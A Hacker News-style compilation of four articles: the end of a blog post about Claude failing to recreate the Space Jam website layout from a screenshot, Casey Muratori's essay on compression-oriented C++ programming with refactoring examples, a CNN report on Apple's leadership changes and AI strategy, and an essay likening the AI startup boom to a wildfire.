This creates 6 files showing every detail

Claude ran the tool and the logs look promising.

Examining region 1 (top-left): I can see Jam Central and Press Box Shuttle clearly at 2x zoom Examining region 2 (top-right): Planet B-Ball and Lunar Tunes are visible with precise spacing Examining region 4 (middle-right): Jump Station appears approximately 280px from center

Unfortunately, Claude's "precise observations" from the zoomed regions were just as wrong as before. He'd look at a planet and confidently declare it was at position (750, 320) when it was actually at (850, 380). The split did not appear to help him measure or get a more accurate picture of planet spacing.

What makes this phase ~~depressing~~ interesting is that the tools, despite invalidating his result, seem to lock in the wrong answer. Once he's picked an internal picture of the layout ("the orbit radius is about 230px"), the grids and the compare viewer don't correct it. They just help him make more confident micro moves around his invented orbit. Based off of these attempts, it seems that the issue compounds when Claude receives his own screenshots as feedback.

My very rough read of Anthropic's "Language Models (Mostly) Know What They Know" , is that models can become overconfident when evaluating their own outputs, in part because they cannot distinguish the tokens they generated from tokens provided by someone else / an external source. So, when Claude is asked to judge or revise content that originated from itself, it treats that material as if it were "ground truth."

This kind of fits what I'm seeing in the logs. Once Claude's version existed, every grid overlay, every comparison step, every "precise" adjustment was anchored to his layout, not the real one. At the end of all this, I'm left with the irritating fact that, like many engineers, he's wrong and he thinks he's right.

What this teaches me is that Claude is actually kind of a liar, or at least Claude is confused. However, for the drama, I'll assume Claude is a liar.

Part 3: Claude the Blind

At this point I had tried grids, comparisons, step-by-step corrections, letting Claude narrate his thought process, and every combination of tools I could bolt onto the interaction. None of it seemed to help nor explain by why his single digit precision updates were disembodied from the actual layout.

Before getting to the final experiment, here's the mental model I was forming about Claude's vision. The vision encoder converts each 16 x 16 block of the image into a single token. So instead of geometry, he sees semantics: "near," "above," "roughly circular." When he says "approximately 220px radius," he's not measuring anything. He's describing the idea of a radius. He excels at semantic understanding ("this is a planet," "these form a circle") but lacks the tools for working with visual media. It explains why his perception is good. He always knows a planet is a planet but the execution is never precise.

I'm getting frustrated and I haven't left my apartment in days so I turn to some research. GPTing around, I found "An Image is Worth 16x16 Words" . I have no idea if Claude uses this exact architecture or anything close to it, but the intuition seemed right. The paper (after I made ChatGPT explain it to me) explains that the the image is chopped into fixed patches, each patch gets compressed into a single embedding, and whatever details lived inside those pixels vanish.

Oooh.

Assuming this applies, a lot of the failures suddenly make sense. Most planets on the Space Jam screenshot are maybe 40 - 50 pixels wide. That's two or three patches. A three patch planet is basically a blob to him. Claude knows it's a planet, but not much else. The orbit radius only spans a couple dozen patches total. Tiny changes in distance barely show up in the patch embeddings.

But this raised a new and final idea. If the 40px planets turn into fuzzy tokens, what if I make them bigger? What if I give Claude a 2x zoomed screenshot? Would each planet spans 10 - 15 patches instead of two or three? Maybe this gives him a more crisp understanding of the spatial relationships and a better chance at success.

I deleted most of the prompt and tools and just gave Claude this 2x'd screenshot

claud blogBounty Can Claude Recreate the 1996 Space Jam Wereference zoom

I plead with Claude

CRITICAL: remember that the zoomed image is zoomed in to 200%. When you're creating your version, maintain proper proportions, meaning that your version should keep the same relative spacing as if it were just 100%, not 200%.

but he does not listen

claud blogBounty Can Claude Recreate the 1996 Space Jam WeScreenshot 2025 11 28 at 1 52 39 PM

😞

My best explanation for all of this is that Claude was working with a very coarse version of the screenshot. Considering the 16 x 16 patch thing from earlier it sort of helps me understand what might be happening: he could describe the layout, but the fine grained stuff wasn't in his representation. And that weird tension I kept seeing , where he could describe the layout correctly but couldn't reproduce it, also looks different under that lens. His explanations were always based on the concepts he got from the image ("this planet is above this one," "the cluster is to the left"), but the actual HTML had to be grounded in geometry he didn't have. So the narration sounded right while the code drifted off.

After these zoom attempts, I didn't have any new moves left. I was being evicted. The bank repo'd my car. So I wrapped it there.

End

Look, I still need this Space Jam website recreated. If you can get Claude to faithfully recreate the Space Jam 1996 website from just a screenshot and the assets folder, I'd love to hear about it.

Based on my failures, here are some approaches I didn't try:

  1. Break the screen into quadrants, get each quadrant right independently, then merge. Maybe Claude can handle spatial precision better in smaller chunks.
  2. Maybe there's some magic prompt engineering that unlocks spatial reasoning. "You are a CSS grid with perfect absolute positioning knowledge…" (I'm skeptical but worth trying).
  3. Providing Claude with a zoom tool and an understanding of how to use the screenshots might be an effective path.

For now, this task stands undefeated. A monument to 1996 web design and a humbling reminder that sometimes the simplest tasks are the hardest. That orbital pattern of planets, thrown together by some Warner Brothers webmaster 28 years ago, has become an inadvertent benchmark for Claude.

Until then, the Space Jam website remains proof that not everything old is obsolete. Some things are just irreproducibly perfect.

Semantic Compression (2014)

Hacker News
caseymuratori.com
2025-12-07 16:55:15
Comments...
Original Article

We all know how to program in C++, don’t we? I mean, we’ve all read a selection of wonderful books by the gaggle of bearded fellows who defined the language in the first place, so we’ve all learned the best ways to write C++ code that solves real-world problems.

First, you look at the real world problem  —  say, a payroll system  —  and you see that it has some plural nouns in it: “employees”, “managers”, etc. So the first thing you need to do is make classes for each of these nouns. There should be an employee class and a manager class, at least.

But really, both of those are just people. So we probably need a base class called “person”, so that things in our program that don’t care whether you’re an employee or a manager can just treat you as a person. This is very humanizing, and makes the other classes feel less like cogs in a corporate machine!

There’s a bit of a problem, though. Isn’t a manager also an employee? So manager should probably inherit from employee, and then employee can inherit from person. Now we’re really getting somewhere! We haven’t actually thought about how to write any code, sure, but we’re modeling the objects that are involved, and once we have those solid, the code is just going to write itself.

Wait, shoot  —  you know what? I just realized, what if we have contractors? We definitely need a contractor class, because they are not employees. The contractor class could inherit from the person class, because all contractors are people (aren’t they?). That would be totally sweet.

But then what does the manager class inherit from? If it inherits from the employee class, then we can’t have managers who work on contract. If it inherits from the contractor class, then we can’t have full-time managers. This is turning out to be a really hard programming problem, like the Simplex algorithm or something!

OK, we could have manager inherit from both classes, and then just not use one of them. But that’s not type-safe enough. This isn’t some sloppy JavaScript program! But you know what? BAM! I’ve got the solution right here: we templatize the manager class. We templatize the manager class on its base class, and then everything that works with manager classes is templatized on that as well!

This is going to be the best payroll system ever! As soon as I get all these classes and templates spec’d out, I’m going to fire up my editor and get to work on the UML diagrams.

Programmers Posting Programming Posts

It’d be great if everything I just wrote had been farcical, but sadly, there’s actually a lot of programmers in the world who think like this. I’m not talking about “Bob the Intern”  —  I’m talking about all kinds of programmers, including famous programmers who give lectures and write books. I am also sad to say that there was a time in my life when I thought this way, too. I was introduced to “object oriented programming” when I was 18, and it took me until I was about 24 to realize it was all a load of horseshit (and the realization was thanks in no small part to my taking a job with RAD Game Tools, which thankfully never bought into the whole OOP nightmare).

But despite the fact that many programmers out there have gone through bad phases like this and eventually come to smart conclusions about how to actually write good code efficiently, it seems that the landscape of educational materials out there still overwhelmingly falls into the “objectively bad” category. I suspect this has something to do with the fact that good programming seems very straightforward once you know how to do it, unlike, say, a fancy math technique that retains its sexiness and makes you want to spend the time to post about it. So, although I don’t have any data to back this up, I strongly suspect that experienced programmers rarely spend time posting about how they program because they just don’t think it’s anything special.

But they should! It may not be special, but it’s necessary, and if good programmers don’t start posting about how to do good programming, we’ll never get out of this nasty place where everyone has to go through six years of writing horrible object-oriented programs before they realize they’re wasting their time. So what I’d like to do with this next set of Witness articles is spend some serious word count talking about the purely mechanical process of putting code into a computer, and it is my sincere hope that other experienced programmers out there will take some time to do the same. Personally, I’d love to read more about the techniques actual good programmers out there use when they sit down to code.

To start things off, I am going to detail a straightforward set of code transformations that I did on The Witness’s editor code. In the coming weeks, I’ll move from that into some larger examples where I wrote more pieces from scratch, but the entire time I’ll be focusing solely on code and how it’s structured. Nothing that I’m going to cover has any fancy algorithms or math or anything, it’s all just pure plumbing.

Jon Starts Things Off Right

In the built-in editor for The Witness, there is a piece of UI called the “Movement Panel”. It is a floating window with some buttons on it that are used to perform operations on entities like “rotate 90 degrees”. Originally it was quite small and had only a few buttons, but when I started working on the editor, I added a bunch of features that needed to go in the movement panel. This was going to expand its contents considerably, and it meant I had to learn how to add elements to the UI, which I’d never done before. I examined the existing code, which looked like this:

int num_categories = 4 ;

int category_height = ypad + 1.2 * body_font -> character_height;

float x0 = x;

float y0 = y;

float title_height = draw_title( x0, y0, title);

float height = title_height + num_categories * category_height + ypad;

my_height = height;

y0 -= title_height;

{

y0 -= category_height;

char * string = "Auto Snap" ;

bool pressed = draw_big_text_button( x0, y0, my_width, category_height, string);

if ( pressed) do_auto_snap( this);

}

{

y0 -= category_height;

char * string = "Reset Orientation" ;

bool pressed = draw_big_text_button( x0, y0, my_width, category_height, string);

if ( pressed) {

// ...

}

}

// ...

The first thing I noticed here was that Jon , the original programmer, did a really nice job setting me up for success with what I was about to do. A lot of times, you open up some code for something simple like this, and you find that it is just a massive tangle of unnecessary structure and indirection. Here, instead, we find an extremely straightforward series of things happening, that read exactly like how you would instruct a person to draw a UI panel: “First, figure out where the title bar should go. Then, draw the title bar. Now, below that, draw the Auto Snap button. If it’s pressed, do auto snapping…” This is exactly how programming should go. I suspect that most anyone could read this code and know what it was doing, and probably intuit how to add more buttons without having to read anything beyond just this excerpt.

However, nice as the code was, it was obviously not set up for doing large amounts of UI, because all the layout work was still being done by hand, in-line. This is mildly inconvenient in the snippet above, but gets more onerous once you consider more complex layouts, like this piece of the UI that has four separate buttons that occur on the same row:

{

y0 -= category_height;

float w = my_width / 4.0 f;

float x1 = x0 + w;

float x2 = x1 + w;

float x3 = x2 + w;

unsigned long button_color;

unsigned long button_color_bright;

unsigned long text_color;

get_button_properties( this, motion_mask_x, & button_color, & button_color_bright, & text_color);

bool x_pressed = draw_big_text_button( x0, y0, w, category_height, "X" , button_color, button_color_bright, text_color);

get_button_properties( this, motion_mask_y, & button_color, & button_color_bright, & text_color);

bool y_pressed = draw_big_text_button( x1, y0, w, category_height, "Y" , button_color, button_color_bright, text_color);

get_button_properties( this, motion_mask_z, & button_color, & button_color_bright, & text_color);

bool z_pressed = draw_big_text_button( x2, y0, w, category_height, "Z" , button_color, button_color_bright, text_color);

get_button_properties( this, motion_local, & button_color, & button_color_bright, & text_color);

bool local_pressed = draw_big_text_button( x3, y0, w, category_height, "Local" , button_color, button_color_bright, text_color);

if ( x_pressed) motion_mask_x = ! motion_mask_x;

if ( y_pressed) motion_mask_y = ! motion_mask_y;

if ( z_pressed) motion_mask_z = ! motion_mask_z;

if ( local_pressed) motion_local = ! motion_local;

}

So, before I started adding lots of new buttons, I already felt like I should spend a little time working on the underlying code to make it simpler to add new things. Why did I feel that way, and how did I know what “simpler” means in this case?

I look at programming as having essentially two parts: figuring out what the processor actually needs to do to get something done, and then figuring out the most efficient way to express that in the language I’m using. Increasingly, it is the latter that accounts for what programmers actually spend their time on: wrangling all those algorithms and all that math into a coherent whole that doesn’t collapse under its own weight.

So any experienced programmer who’s any good has had to come up with some way  —  if even just by intuition  —  of thinking about what it means to program efficiently. By “efficiently”, this doesn’t just mean that the code is optimized. Rather, it means that the development of the code is optimized  —  that the code is structured in such a way so as to minimize the amount of human effort necessary to type it, get it working, modify it, and debug it enough for it to be shippable.

I like to think of efficiency as holistically as possible. If you look at the development process for a piece of code as a whole, you won’t overlook any hidden costs. Given a certain level of performance and quality required by the places the code gets used, beginning at its inception and ending with the last time the code is ever used by anyone for any reason, the goal is to minimize the amount of human effort it cost. This includes the time to type it in. It includes the time to debug it. It includes the time to modify it. It includes the time to adapt it for other uses. It includes any work done to other code to get it to work with this code that perhaps wouldn’t have been necessary if the code were written differently. All work on the code for its entire usable lifetime is included.

When considered in this way, my experience has led me to conclude that the most efficient way to program is to approach your code as if you were a dictionary compressor. Like, literally, pretend you were a really great version of PKZip, running continuously on your code, looking for ways to make it (semantically) smaller. And just to be clear, I mean semantically smaller, as in less duplicated or similar code, not physically smaller, as in less text, although the two often go hand-in-hand.

This is a very bottom-up programming methodology, a pseudo-variant of which has recently gained the monicker “refactoring”, even though that is a ridiculous term for a number of reasons that are not worth belaboring at the moment. I also think that the formal “refactoring” stuff missed the main point, but that’s also not worth belaboring. Point being, they are sort-of related, and hopefully you will understand the similarities and differences more over the course of this article series.

So what does compression-oriented programming look like, and why is it efficient?

Like a good compressor, I don’t reuse anything until I have at least two instances of it occurring. Many programmers don’t understand how important this is, and try to write “reusable” code right off the bat, but that is probably one of the biggest mistakes you can make. My mantra is, “make your code usable before you try to make it reusable”.

I always begin by just typing out exactly what I want to happen in each specific case, without any regard to “correctness” or “abstraction” or any other buzzword, and I get that working. Then, when I find myself doing the same thing a second time somewhere else, that is when I pull out the reusable portion and share it, effectively “compressing” the code. I like “compress” better as an analogy, because it means something useful, as opposed to the often-used “abstracting”, which doesn’t really imply anything useful. Who cares if code is abstract?

Waiting until there are (at least) two examples of a piece of code means I not only save time thinking about how to reuse it until I know I really need to, but it also means I always have at least two different real examples of what the code has to do before I try to make it reusable. This is crucial for efficiency, because if you only have one example, or worse, no examples (in the case of code written preemptively), then you are very likely to make mistakes in the way you write it and end up with code that isn’t conveniently reusable. This leads to even more wasted time once you go to use it, because either it will be cumbersome, or you will have to redo it to make it work the way you need it to. So I try very hard to never make code “prematurely reusable”, to evoke Knuth.

Similarly, like a magical globally optimizing compressor (which sadly PKZip isn’t), when you are presented with new places where a previously reused piece of code could be reused again, you make a decision: if the reusable code is already suitable, you just use it, but if it’s not, you decide whether or not you should modify how it works, or whether you should introduce a new layer on top of or underneath it. Multiresolution entry points are a big part of making code resuable, but I’ll save discussion of that for a later article, since it’s a topic unto itself.

Finally, the underlying assumption in all of this is, if you compress your code to a nice compact form, it is easy to read, because there’s a minimal amount of it, and the semantics tend to mirror the real “language” of the problem, because like a real language, those things that are expressed most often are given their own names and are used consistently. Well-compressed code is also easy to maintain, because all the places in the code that are doing identical things all go through the same paths, but code that is unique is not needlessly complicated or separated from its use. Finally, well-compressed code is easy to extend, because producing more code that does similar operations is simple, as all the necessary code is there in a nicely recomposable way.

These are all things that most programming methodologies claim to do in an abstract fashion (build UML diagrams, make class hierarchies, make systems of objects, etc.), but always fail to achieve, because the hard part of code is getting the details right. Starting from a place where the details don’t exist inevitably means you will forget or overlook something that will cause your plans to fail or lead to suboptimal results. Starting with the details and repeatedly compressing to arrive at the eventual architecture avoids all the pitfalls of trying to conceive the architecture ahead of time.

With all that in mind, let’s take a look at how all this can be applied to the simple Witness UI code.

The first bit of code compression I did on the UI code happens to be one of my very favorites, since it’s trivial to do and yet is extremely satisfying.

Basically, in C++, functions are very selfish. They keep all their local variables to themselves, and you can’t really do anything about that (although as the cancerous C++ specification continues to metastasize, it’s starting to add more options for this, but that is a separate issue). So when I see code like the Witness UI code that’s doing stuff like this:

int category_height = ypad + 1.2 * body_font -> character_height;

float y0 = y;

// ...

y0 -= category_height;

// ...

y0 -= category_height;

// ...

y0 -= category_height;

// ...

I think it’s time for me to make a shared stack frame.

What I mean by this is, anywhere there’s going to be a panel UI in the Witness, this sort of thing is going to happen. I looked at the other panels in the editor, of which there were several, and they all had substantively the exact same code as I showed in the original snippet  —  same startup, same button calculations, etc. So it’s clear that I want to compress all this so that each thing only happens in one place, then just gets used by everyone else.

But it’s not really feasible to wrap what’s going on purely in a function, because there’s systems of variables that interact, and they interact in multiple places that need to connect with each other. So the first thing I did to this code was to pull those variables out into a structure that can serve as a sort of shared stack frame for all these operations if I want them to be separate functions:

struct Panel_Layout

{

float width; // renamed from "my_width"

float row_height; // rename from "category_height"

float at_x; // renamed from "x0"

float at_y; // renamed from "y0"

};

Simple, right? You just grab the variables that you see that are being used in a repetitive way, and you put them in a struct. Typically, I use InterCaps for variable names and lowercase_ with_ underscores for types, but since I am in the Witness codebase, I try to adhere to its general conventions where possible, and it uses Uppercase_ With_ Underscores for types and lowercase_ with_ underscores for variables.

After I substituted the structure in for the local variables, the code looked like this:

Panel_Layout layout;

int num_categories = 4 ;

layout . row_height = ypad + 1.2 * body_font -> character_height;

layout . at_x = x;

layout . at_y = y;

float title_height = draw_title( layout . at_x, layout . at_y, title);

float height = title_height + num_categories * layout . row_height + ypad;

my_height = height;

layout . at_y -= title_height;

{

layout . at_y -= layout . row_height;

char * string = "Auto Snap" ;

bool pressed = draw_big_text_button( layout . at_x, layout . at_y, layout . width, layout . row_height, string);

if ( pressed) do_auto_snap( this);

}

{

layout . at_y -= category_height;

char * string = "Reset Orientation" ;

bool pressed = draw_big_text_button( layout . at_x, layout . at_y, layout . width, layout . row_height, string);

if ( pressed) {

// ...

}

}

// ...

Not an improvement yet, but it was a necessary first step. Next I pulled the redundant code out into functions: one at startup, and one for each time there’s a new row of UI. Normally, I would probably not make these member functions, but since The Witness is a more C++-ish codebase than my own, I thought it was more consistent with the style (and I don’t have a strong preference either way):

Panel_Layout :: Panel_Layout( Panel * panel, float left_x, float top_y, float width)

{

row_height = panel -> ypad + 1.2 * panel -> body_font -> character_height;

at_y = top_y;

at_x = left_x;

}

void Panel_Layout :: row()

{

at_y -= row_height;

}

Once I had the structure, it was also trivial to take these two lines

float title_height = draw_title( x0, y0, title);

y0 -= title_height;

from the original and wrap them up:

void Panel_Layout :: window_title( char * title)

{

float title_height = draw_title( at_x, at_y, title);

at_y -= title_height;

}

So then the code looked like this:

Panel_Layout layout( this, x, y, my_width);

layout . window_title( title);

int num_categories = 4 ;

float height = title_height + num_categories * layout . row_height + ypad;

my_height = height;

{

layout . row();

char * string = "Auto Snap" ;

bool pressed = draw_big_text_button( layout . at_x, layout . at_y, layout . width, layout . row_height, string);

if ( pressed) do_auto_snap( this);

}

{

layout . row();

char * string = "Reset Orientation" ;

bool pressed = draw_big_text_button( layout . at_x, layout . at_y, layout . width, layout . row_height, string);

if ( pressed) {

// ...

}

}

// ...

Although that wouldn’t be necessary if this was the only panel (since the code only happens once), all the Witness UI panels did the same thing, so pulling it out meant I could go compress all that code too (which I did, but which I won’t be covering here).

Things were looking better, but I also wanted to get rid of the weird “num_ categories” bit and the height calculation. Looking at that code further, I determined that all it was really doing was pre-counting how high the panel would be after all the rows were used. Since there was no actual reason why this had to be set up front, I figured hey, why not do it after all the rows have been made, so I can just count how many actually got added rather than forcing the program to pre-declare that? That makes it less error prone, because the two cannot get out of sync. So I added a “complete” function that gets run at the end of a panel layout:

void Panel_Layout :: complete( Panel * panel)

{

panel -> my_height = top_y - at_y;

}

I went back to the constructor and made sure I saved “top_ y” as the starting y, so all I had to do was just subtract the two. Poof! No more need for the precalculation:

Panel_Layout layout( this, x, y, my_width);

layout . window_title( title);

{

layout . row();

char * string = "Auto Snap" ;

bool pressed = draw_big_text_button( layout . at_x, layout . at_y, layout . my_width, layout . row_height, string);

if ( pressed) do_auto_snap( this);

}

{

layout . row();

char * string = "Reset Orientation" ;

bool pressed = draw_big_text_button( layout . at_x, layout . at_y, layout . my_width, layout . row_height, string);

if ( pressed) {

// ...

}

}

// ...

layout . complete( this);

The code was getting a lot more concise, but it was also clear from the often-repeated draw_ big_ text_ button calls that there was plenty of compressibility left. So I took those out next:

bool Panel_Layout :: push_button( char * text)

{

bool result = panel -> draw_big_text_button( at_x, at_y, width, row_height, text);

return ( result);

}

which left the code looking rather nice and compact:

Panel_Layout layout( this, x, y, my_width);

layout . window_title( title);

{

layout . row();

char * string = "Auto Snap" ;

bool pressed = layout . push_button( string);

if ( pressed) do_auto_snap( this);

}

{

layout . row();

char * string = "Reset Orientation" ;

bool pressed = layout . push_button( string);

if ( pressed) {

// ...

}

}

// ...

layout . complete( this);

and I decided to pretty it up a bit by reducing some of the unnecessary verbosity:

Panel_Layout layout( this, x, y, my_width);

layout . window_title( title);

layout . row();

if ( layout . push_button( "Auto Snap" )) { do_auto_snap( this);}

layout . row();

if ( layout . push_button( "Reset Orientation" ))

{

// ...

}

// ...

layout . complete( this);

Ah! It’s like a breath of fresh air compared to the original, isn’t it? Look at how nice that looks! It’s getting close to the minimum amount of information necessary to actually define the unique UI of the movement panel, which is how we know we’re doing a good job of compressing. And adding new buttons is getting very simple  —  no more in-line math, just one call to make a row and another to make a button.

Now, I want to point out something really important. Did all that seem pretty straightforward? I’m guessing that there wasn’t anything in there where you were like, “oh my god, how did he DO that??” I’m hoping that every step was really obvious, and everyone could have easily done a similar set of steps if charged with just pulling out the common pieces of code into functions.

So, given that, what I want to point out is this: this is the correct way to give birth to “objects”. We made a real, usable bundle of code and data: the Panel_ Layout structure and its member functions. It does exactly what we want, it fits perfectly, it’s really easy to use, it was trivial to design.

Contrast this with the absolute absurdity that you see in object-oriented “methodologies” that tell you to start writing things on index cards (like the “class responsibility collaborators” methodology), or breaking out Visio to show how things “interact” using boxes and lines that connect them. You can spend hours with these methodologies and end up more confused about the problem than when you started. But if you just forget all that, and write simple code, you can always create your objects after the fact and you will find that they are exactly what you wanted.

If you’re not used to programming like this, you may think I’m exaggerating, but you’ll just have to trust me, it’s true. I spend exactly zero time thinking about “objects” or what goes where. The fallacy of “object-oriented programming” is exactly that: that code is at all “object-oriented”. It isn’t. Code is procedurally oriented, and the “objects” are simply constructs that arise that allow procedures to be reused. So if you just let that happen instead of trying to force everything to work backwards, programming becomes immensely more pleasant.

More Compression, Then Expansion

Because I needed to spend some time introducing the concept of compression-oriented programming, and also because I enjoy trashing object-oriented programming, this article is already very long despite only showing a small fraction of the code transformations I did to the Witness UI code. So I will save the next round for next week, where I’ll talk about handling that multi-button code I showed, and then how I started using the newly compressed UI semantics to start extending what the UI itself could do.

What the heck is going on at Apple?

Hacker News
www.cnn.com
2025-12-07 16:54:44
Comments...
Original Article

Apple for decades has been known for a consistent string of design-forward, tech-defining consumer products that have shaped how people use technology.

Now the company known for its steadiness is going through a shakeup at the top, as both Apple and the tech industry at large are at a crossroads.

Apple announced the departures of three executive team members in less than a week. Meta poached a key Apple design leader. And speculation is mounting that Tim Cook may be preparing to step aside as CEO.

The changes come as critics say Apple, once a tech leader, is behind in the next big wave: artificial intelligence. For one of the world’s most valuable tech companies, a change in leadership could mean a change in how it conceives, designs and creates products used around the world every single day.

“The only thing we can read into this is that we’re headed to a time of increased volatility for Apple,” said Robert Siegel, a longtime venture capitalist and lecturer at Stanford’s Graduate School of Business.

Apple stock ( AAPL ) is up roughly 12% this year, a much smaller jump than the 30% increase it saw in 2024.

Apple did not immediately respond to a request for comment.

Who’s leaving and why

Planned departures for the following Apple executives were announced just this week:

  • Lisa Jackson, Apple’s vice president of environment, policy and social initiatives, is set to retire next year.
  • General counsel Kate Adams, also set to retire next year.
  • Alan Dye, vice president of human interface design, who is joining Meta as its chief design officer.
  • John Giannandrea, senior vice president of machine learning and AI strategy, who will also retire next year.

Apple is bringing in Meta chief legal officer Jennifer Newstead to lead government affairs after Adams retires and serve as its new general counsel. The environment and social initiatives teams will now report to Sabih Khan, Apple’s chief operating officer. Amar Subramanya, Microsoft’s corporate vice president of AI, will be Apple’s new vice president of AI.

And earlier this year, Jeff Williams stepped back from his role as Apple’s chief operating officer.

Apple Park, Apple's circular HQ office building, is seen in an aerial view over Cupertino, California on May 16, 2024.

Apple isn’t the only tech giant making structural changes. Meta on Thursday said it’s shifting some investment away from its Metaverse virtual reality project and towards AI glasses and wearables. Amazon laid off 14,000 people in October as part of a push to move faster in AI by operating more leanly. And Google last year combined its hardware and software teams to better integrate AI into its products across the board.

But Apple is known for having a uniquely tight-knit company culture driven by secrecy.

“This is against the typical culture of Apple. But they need to rip the Band-Aid off,” said Dan Ives, global head of tech research for Wedbush Securities. “Because the AI strategy has been invisible, and it’s going to define Cook’s legacy, how he handles this chapter.”

Apple’s future and challenges

The leadership shakeup comes as questions about Apple’s future loom.

Apple delayed a major update to its Siri voice assistant that was expected to bring it closer to OpenAI’s ChatGPT and Google’s Gemini, turning Siri from a question-and-answer machine into an assistant that can act on a user’s behalf and incorporate information from a person’s phone to personalize responses.

But that upgrade has been pushed off until next year, and Apple’s other AI updates for iPhones, Macs and iPads have been minimal this year.

And Apple’s expensive Vision Pro headset, the first new computing category the company has introduced since the decade-old Apple Watch, is still a niche product.

At the same time, Meta, Google, Samsung and OpenAI have announced significant product expansions in AI this year – from Meta’s new Ray-Ban Display smart glasses to Google and Samsung’s Gemini-powered headset and OpenAI’s push into shopping and web browsers . Google’s Gemini 3 model has also been making waves since its November launch.

Customers try the Apple Vision Pro mixed reality glasses device by US company Apple Inc. during the launch at the Apple store on Champs Elysees avenue in Paris on July 12, 2024

Wall Street wants answers about Apple’s AI strategy. In a July earnings call, analysts asked Apple about Siri’s role in driving new products and whether AI chatbots are threatening Apple’s relevance in internet searches. Eddy Cue, Apple’s senior vice president of services, even said during his testimony in a Google antitrust hearing that people may not need an iPhone 10 years from now .

Now Dye, largely the face of Apple’s design studio following the 2019 departure of former design chief Jony Ive, is joining Meta to help shape what the company sees as the next wave of computing. And Ive is helping OpenAI create its first hardware product.

Dye’s decision to join Meta is “more of a direct threat to Apple” compared to the other announced departures, said Joe Tigay, portfolio manager of the Rational Equity Armor Fund.

Despite facing pressure in AI, iPhone 17 sales have been strong and are only expected to climb higher next year. Apple is expected to surpass Samsung in smartphone shipments this year for the first time since 2011, according to Counterpoint Research. The company is also one of the few to cross the $4 trillion market capitalization threshold, along with AI giants Nvidia and Microsoft.

And change isn’t always a bad thing, according to Siegel, especially while industries are going through transitions as the tech sector currently is with AI. Bringing in new hires or promoting people from within can “give a different point of view when a company can get trapped in a way of thinking and doing things,” he said.

That could be just what Apple needs, as some analysts say the clock is ticking for Apple to make bigger leaps in AI.

“You can’t have a fourth industrial revolution and watch the AI party through the windows on the outside,” said Ives. “And clearly they need massive changes in leadership.”

The AI Wildfire Is Coming. It's Going to Be Painful and Healthy

Hacker News
ceodinner.substack.com
2025-12-07 16:43:38
Comments...
Original Article

At a recent CEO dinner in Menlo Park, someone asked the familiar question: Are we in an AI bubble?

One of the dinner guests, a veteran of multiple Silicon Valley cycles, reframed the conversation entirely. She argued for thinking of this moment as a wildfire rather than a bubble. The metaphor landed immediately. Wildfires don’t just destroy; they’re essential to ecosystem health. They clear the dense underbrush that chokes out new growth, return nutrients to the soil, and create the conditions for the next generation of forest to thrive.

As I reflected on the wildfire metaphor, a framework emerged that revealed something deeper, built on her reframing. It offered a taxonomy for understanding who survives, who burns, and why, with specific metrics that separate the fire-resistant from the flammable.

The first web cycle burned through dot-com exuberance and left behind Google, Amazon, eBay, and PayPal: the hardy survivors of Web 1.0. The next cycle, driven by social and mobile, burned again in 2008–2009, clearing the underbrush for Facebook, Airbnb, Uber, and the offspring of Y Combinator. Both fires followed the same pattern: excessive growth, sudden correction, then renaissance.

Now, with AI, we are once again surrounded by dry brush.

The coming correction will manifest as a wildfire rather than a bubble burst. Understanding that distinction changes everything about how to survive and thrive in what comes next.

When the brush grows too dense, sunlight can’t reach the ground. The plants compete against each other for light, water, and nutrients rather than against the environment.

That’s what Silicon Valley feels like right now.

Capital is abundant, perhaps too abundant. But talent? That’s the scarce resource. Every promising engineer, designer, or operator is being courted by three, five, ten different AI startups, often chasing the same vertical, whether it’s coding copilots, novel datasets, customer service, legal tech, or marketing automation.

The result is an ecosystem that looks lush from above: green, growing, noisy. But underneath, the soil is dry. Growth becomes difficult when everyone’s roots are tangled.

In that kind of forest, fire serves as correction rather than catastrophe.

Wildfires don’t just destroy ecosystems. They reshape them. Some species ignite instantly. Others resist the flames. A few depend on the fire to reproduce.

The same is true for startups.

These are the dry grasses and resinous pines of the ecosystem: startups that look vibrant in a season of easy money but have no resistance once the air gets hot.

They include:

  • AI application wrappers with no proprietary data or distribution

  • Infrastructure clones in crowded categories (one more LLM gateway, one more vector database)

  • Consumer apps chasing daily active users instead of durable users

They’re fueled by hype and ebullient valuations. When the heat rises, when capital tightens or customers scrutinize ROI, they go up in seconds.

The flammable brush serves a purpose. It attracts capital and talent into the sector. It creates market urgency. And when it burns, it releases those resources back into the soil for hardier species to absorb. The engineers from failed AI wrappers become the senior hires at the companies that survive.

Then there are the succulents, oaks, and redwoods: the incumbents that store moisture and protect their cores.

Thick bark: Strong balance sheets and enduring customer relationships.

Deep roots: Structural product-market fit in cloud, chips, or data infrastructure.

Moisture reserves: Real revenue, diversified businesses, and long-term moats.

Think Apple, Microsoft, Nvidia, Google, Amazon. They will absorb the heat and emerge stronger. When the smoke clears, these giants will stand taller, their bark charred but intact, while the smaller trees around them have burned to ash.

Some plants die back but grow again; manzanita, scrub oak, and toyon are phoenix-like. In startup terms, these are the pivots and re-foundings that follow a burn.

They’re teams with:

  • Deep expertise

  • Underground IP and data assets that survive even if the product doesn’t

  • A willingness to prune and start over

After the fire, they re-sprout — leaner, smarter, and better adapted to the new terrain.

This is where the real learning happens. A founder who built the wrong product with the right team in 2024 becomes the founder who builds the right product with a battle-tested team in 2027. The failure gets stored underground, like nutrients in roots, waiting for the next season, rather than being wasted.

Finally come the wildflowers. Their seeds are triggered by heat. They can’t even germinate until the old growth is gone.

These are the founders who start after the crash. They’ll hire from the ashes, build on cheaper infrastructure, and learn from the mistakes of those who burned. LinkedIn in 2002, Stripe in 2010, Slack in 2013. All are fire followers.

The next great AI-native companies will likely emerge here. These are the ones that truly integrate intelligence into workflows rather than just decorating them. And critically, the inference layer (where AI models actually run in production) represents the next major battleground. As compute becomes commoditized and agentic tools proliferate, the race will shift from training the biggest models to delivering intelligence most efficiently at scale.

Every few decades, Silicon Valley becomes overgrown. Web 1.0 and Web 2.0 both proved the same truth: too much growth chokes itself.

The Web 1.0 crash cleared away more than startups. It cleared noise. The Web 2.0 downturn, driven more by the mortgage crisis than the market itself, followed the same dynamic: overfunded competitors fell away, talent dispersed, and the survivors hired better, moved faster, and built stronger. Savvy companies even used the moment to get leaner, cutting underperformers and upgrading positions from entry-level to executive with hungry refugees from failed competitors.

That redistribution of talent may be the single most powerful outcome of any crash. Many of Google’s best early employees (the architects of what became one of the most durable business models in history) were founders or early employees of failed Web 1.0 startups.

And it went beyond talent alone. Entrepreneurial, restless, culturally impatient talent specifically shaped Google’s internal ethos. That DNA created Google’s experimental, aggressive, always-in-beta culture and radiated outward into the broader ecosystem for the next 10 to 20 years. The fire reallocated intelligence and rewired culture rather than simply destroying.

